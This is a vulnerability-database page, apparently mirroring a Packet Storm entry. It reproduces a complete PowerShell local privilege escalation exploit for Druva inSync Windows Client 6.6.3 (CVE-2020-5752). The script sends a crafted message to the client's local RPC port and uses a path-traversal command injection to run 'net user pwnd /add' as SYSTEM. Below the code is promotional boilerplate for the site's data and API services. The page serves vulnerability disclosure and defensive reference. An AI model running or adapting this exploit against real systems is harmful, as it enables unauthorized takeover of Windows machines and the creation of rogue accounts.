Lucene search
K

Druva inSync Windows Client 6.6.3 Privilege Escalation

🗓️ 08 Dec 2020 00:00:00Reported by Matteo MalvicaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 296 Views

Druva inSync Windows Client 6.6.3 Privilege Escalation via Command Injectio

Related
Code
`# Exploit Title: Druva inSync Windows Client 6.6.3 - Local Privilege Escalation (PowerShell)  
# Date: 2020-12-03  
# Exploit Author: 1F98D  
# Original Author: Matteo Malvica  
# Vendor Homepage: druva.com  
# Software Link: https://downloads.druva.com/downloads/inSync/Windows/6.6.3/inSync6.6.3r102156.msi  
# Version: 6.6.3  
# Tested on: Windows 10 (x64)  
# CVE: CVE-2020-5752  
# References: https://www.matteomalvica.com/blog/2020/05/21/lpe-path-traversal/  
# Druva inSync exposes an RPC service which is vulnerable to a command injection attack.  
  
$ErrorActionPreference = "Stop"  
  
$cmd = "net user pwnd /add"  
  
$s = New-Object System.Net.Sockets.Socket(  
[System.Net.Sockets.AddressFamily]::InterNetwork,  
[System.Net.Sockets.SocketType]::Stream,  
[System.Net.Sockets.ProtocolType]::Tcp  
)  
$s.Connect("127.0.0.1", 6064)  
  
$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")  
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")  
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");  
$length = [System.BitConverter]::GetBytes($command.Length);  
  
$s.Send($header)  
$s.Send($rpcType)  
$s.Send($length)  
$s.Send($command)  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation